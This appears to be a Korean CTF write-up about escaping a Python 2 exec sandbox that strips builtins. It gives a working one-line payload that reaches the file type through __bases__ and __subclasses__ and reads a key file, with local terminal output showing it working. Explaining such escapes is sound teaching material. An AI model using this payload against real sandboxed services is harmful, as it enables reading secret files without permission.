문제로 파이썬 소스가 주어집니다. 



builtins 모듈에서 후에 실행시켜줄 raw_input과 print 함수만을 제외하고는 다 지워버립니다.

그리고는 입력을 받고 exec을 통해 실행을 시켜주네요. __bases__ 와 __subclasses__ 모듈을 적절히 이용해 file()함수를 호출하여 키를 읽어 줄 수 있습니다.


root@ubuntu:~# cat key

this works

root@ubuntu:~# python tmp.py

Welcome to my Python sandbox! Enter commands below!

>>> print (().__class__.__bases__[0].__subclasses__()[40]("./key").read())

this works


익스플로잇이 간단해서 좋네요.

로컬에서 성공시키고 서버에서도 성공했었는데 지금은 서버가 닫혔네요ㅜㅜ


'General News > Write-Ups' 카테고리의 다른 글

HackIM nullcon 2015 exploitation100  (0) 2015.01.11
ChristmasCTF ALGO200  (0) 2014.12.26
codegate 2013 vuln200 - exploit only  (0) 2014.02.14
ropasaurusrex  (1) 2013.12.06
codegate junior ctf  (0) 2013.07.27
Posted by xer0s :